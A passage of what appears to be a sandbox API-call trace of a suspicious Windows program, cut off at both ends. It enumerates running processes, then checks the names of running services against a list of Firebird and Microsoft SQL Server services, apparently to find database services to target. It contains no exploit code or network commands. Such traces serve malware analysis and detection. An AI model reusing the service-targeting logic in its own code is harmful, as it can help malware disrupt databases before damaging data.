th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0253.510] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0253.510] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0253.511] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0253.511] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.512] lstrlenW (lpString="svchost.exe") returned 11 [0253.512] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.513] lstrlenW (lpString="svchost.exe") returned 11 [0253.513] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.514] lstrlenW (lpString="dwm.exe") returned 7 [0253.514] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.515] lstrlenW (lpString="svchost.exe") returned 11 [0253.515] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.516] lstrlenW (lpString="svchost.exe") returned 11 [0253.516] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.517] lstrlenW (lpString="svchost.exe") returned 11 [0253.517] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.518] lstrlenW (lpString="svchost.exe") returned 11 [0253.518] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.519] lstrlenW (lpString="svchost.exe") returned 11 [0253.519] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.520] lstrlenW (lpString="svchost.exe") returned 11 [0253.520] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.521] lstrlenW (lpString="svchost.exe") returned 11 [0253.521] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.522] lstrlenW (lpString="svchost.exe") returned 11 [0253.522] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.523] lstrlenW (lpString="svchost.exe") returned 11 [0253.523] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.524] lstrlenW (lpString="svchost.exe") returned 11 [0253.524] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.524] lstrlenW (lpString="spoolsv.exe") returned 11 [0253.525] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.525] lstrlenW (lpString="svchost.exe") returned 11 [0253.526] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.526] lstrlenW (lpString="audiodg.exe") returned 11 [0253.526] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0253.527] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0253.527] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0253.528] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0253.528] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0253.529] lstrlenW (lpString="Memory Compression") returned 18 [0253.529] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.530] lstrlenW (lpString="svchost.exe") returned 11 [0253.530] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.533] lstrlenW (lpString="sihost.exe") returned 10 [0253.533] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0253.534] lstrlenW (lpString="MDMAgent.exe") returned 12 [0253.534] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.535] lstrlenW (lpString="taskhostw.exe") returned 13 [0253.535] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0253.540] lstrlenW (lpString="msoia.exe") returned 9 [0253.540] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.541] lstrlenW (lpString="explorer.exe") returned 12 [0253.541] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.541] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0253.541] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.542] lstrlenW (lpString="SearchUI.exe") returned 12 [0253.542] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.543] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0253.543] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.543] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0253.543] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0253.544] lstrlenW (lpString="mobsync.exe") returned 11 [0253.544] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0253.545] lstrlenW (lpString="chrome64b.exe") returned 13 [0253.545] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.545] lstrlenW (lpString="cmd.exe") returned 7 [0253.545] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.546] lstrlenW (lpString="conhost.exe") returned 11 [0253.546] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0253.547] lstrlenW (lpString="chrome64b.exe") returned 13 [0253.547] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.547] lstrlenW (lpString="svchost.exe") returned 11 [0253.547] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0253.548] CloseHandle (hObject=0x384) returned 1 [0253.548] Sleep (dwMilliseconds=0x1f4) [0254.427] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7320f0 [0254.428] EnumServicesStatusExW (in: hSCManager=0x7320f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0254.429] GetLastError () returned 0xea [0254.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x454e1c0 [0254.429] EnumServicesStatusExW (in: hSCManager=0x7320f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454e1c0, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454e1c0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0254.430] CloseServiceHandle (hSCObject=0x7320f0) returned 1 [0254.430] lstrlenW (lpString="AppXSvc") returned 7 [0254.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0254.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0254.430] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0254.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0254.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0254.430] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0254.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0254.430] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0254.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0254.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0254.430] lstrlenW (lpString="Audiosrv") returned 8 [0254.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0254.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0254.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0254.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0254.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0254.431] lstrlenW (lpString="BFE") returned 3 [0254.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0254.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0254.431] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0254.431] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0254.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0254.431] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0254.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0254.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0254.431] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0254.431] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0254.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0254.431] lstrlenW (lpString="CDPSvc") returned 6 [0254.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0254.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0254.431] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0254.431] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0254.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0254.431] lstrlenW (lpString="ClickToRunSvc") returned 13 [0254.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0254.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0254.432] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0254.432] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0254.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0254.432] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0254.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0254.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0254.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0254.432] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0254.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0254.432] lstrlenW (lpString="CryptSvc") returned 8 [0254.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0254.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0254.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0254.432] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0254.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0254.432] lstrlenW (lpString="DcomLaunch") returned 10 [0254.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0254.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0254.432] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0254.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0254.432] lstrlenW (lpString="DeviceAssociationService") returned 24 [0254.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0254.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0254.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0254.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0254.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0254.433] lstrlenW (lpString="Dhcp") returned 4 [0254.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0254.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0254.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0254.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0254.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0254.433] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0254.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0254.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0254.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0254.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0254.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0254.433] lstrlenW (lpString="Dnscache") returned 8 [0254.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0254.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0254.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0254.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0254.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0254.433] lstrlenW (lpString="DPS") returned 3 [0254.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0254.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0254.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0254.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0254.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0254.434] lstrlenW (lpString="DusmSvc") returned 7 [0254.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0254.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0254.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0254.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0254.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0254.434] lstrlenW (lpString="EventLog") returned 8 [0254.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0254.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0254.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0254.434] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0254.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0254.434] lstrlenW (lpString="EventSystem") returned 11 [0254.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0254.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0254.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0254.434] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0254.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0254.434] lstrlenW (lpString="FontCache") returned 9 [0254.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0254.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0254.434] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0254.434] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0254.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0254.435] lstrlenW (lpString="gpsvc") returned 5 [0254.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0254.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0254.435] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0254.435] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0254.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0254.435] lstrlenW (lpString="iphlpsvc") returned 8 [0254.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0254.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0254.435] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0254.435] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0254.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0254.435] lstrlenW (lpString="KeyIso") returned 6 [0254.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0254.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0254.435] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0254.435] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0254.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0254.435] lstrlenW (lpString="LanmanServer") returned 12 [0254.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0254.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0254.435] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0254.435] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0254.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0254.435] lstrlenW (lpString="LanmanWorkstation") returned 17 [0254.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0254.436] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0254.436] lstrcmpiW 